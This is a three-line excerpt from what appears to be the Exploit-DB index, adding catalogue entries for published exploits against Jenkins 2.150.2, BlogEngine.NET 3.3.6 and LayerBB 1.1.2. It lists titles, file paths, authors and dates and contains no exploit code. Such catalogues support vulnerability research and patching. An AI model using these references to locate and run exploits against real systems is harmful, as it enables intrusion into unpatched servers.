+46352,exploits/linux/webapps/46352.rb,"Jenkins 2.150.2 -  Remote Command Execution (Metasploit)",2019-02-12,AkkuS,webapps,linux,
+46353,exploits/aspx/webapps/46353.cs,"BlogEngine.NET 3.3.6 - Directory Traversal / Remote Code Execution",2019-02-12,"Dustin Cobb",webapps,aspx,
+46354,exploits/php/webapps/46354.txt,"LayerBB 1.1.2 - Cross-Site Scripting",2019-02-12,0xB9,webapps,php,80